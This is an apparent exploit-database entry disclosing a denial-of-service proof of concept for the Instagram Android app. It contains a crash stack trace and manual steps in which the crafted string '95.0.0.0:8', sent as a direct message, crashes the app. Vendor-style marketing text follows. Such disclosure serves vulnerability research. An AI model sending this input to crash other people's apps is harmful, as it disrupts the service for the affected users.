`# Exploit Title: Instagram App 287.0.0.22.85 - Denial of Service (PoC)
# Date: 2023-06-13
# Exploit Author: Aryan Chehreghani
# Vendor Homepage: https://www.instagram.com
# Software Link: https://play.google.com/store/apps/details?id=com.instagram.android
# Version: 287.0.0.22.85
# Tested on: Android 12
# [ About App ]:
#Instagram is a photo and video sharing social networking service owned by American company Meta Platforms,
#The app allows users to upload media that can be edited with filters and organized by hashtags and geographical tagging,
#Posts can be shared publicly or with preapproved followers. Users can browse other users' #content by tag and location,
#view trending content, like photos, and follow other users to add their content to a personal feed.
# [ Description ]:
#Instagram is sensitive to illegal words, that's why will leave the page and stop after sending.
/**
#Stack Trace:
Package name: com.instagram.android
Package version: 368407140
Process name: com.instagram.android
Caused by: java.net.URISyntaxException: Illegal character
in scheme name at index 0: 95.0.0.0:8
at java.net.URISParser.fail(URI.java:2893)
at java.net.URISParser.checkChars(URI.java:3066)
at java.net.URISParser.checkChar(URl.java:3076)
at java.net.URISParser.parse(URI.java:3092)
at java.net.URI.<init>(URI.java:584)
at X.BI5.A00(:1361229)
at X.BpQ.DMb(:73)
at X.6FI.DMd(:7)
at X.6Fn.A03(:10)
at X.110.DMe(:11)
at X.1ly.A03(:25)
at X.1lo.DMe(:11)
at X.11LAOW(:7)
at X.115.A03(:37)
at X.115.A02(:2)
at X.B90.A05(:1350672)
at X.BR2.onClick(:562)
at android.view.View.performClick(View.java:7763)
Crash:
Exception class name: java.net.URISyntaxException
Source file: URI java
Source class: java.net.URISParser
Source method: fail
Line number: 2893
*/
# [ POC ]:
# 1.Enter the Instagram app
# 2.In the messages section, select a user to send a message
# 3.Paste -> "95.0.0.0:8" in the "message..." field
# 4.Click 'Send'
# 5.Crashed ;)
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation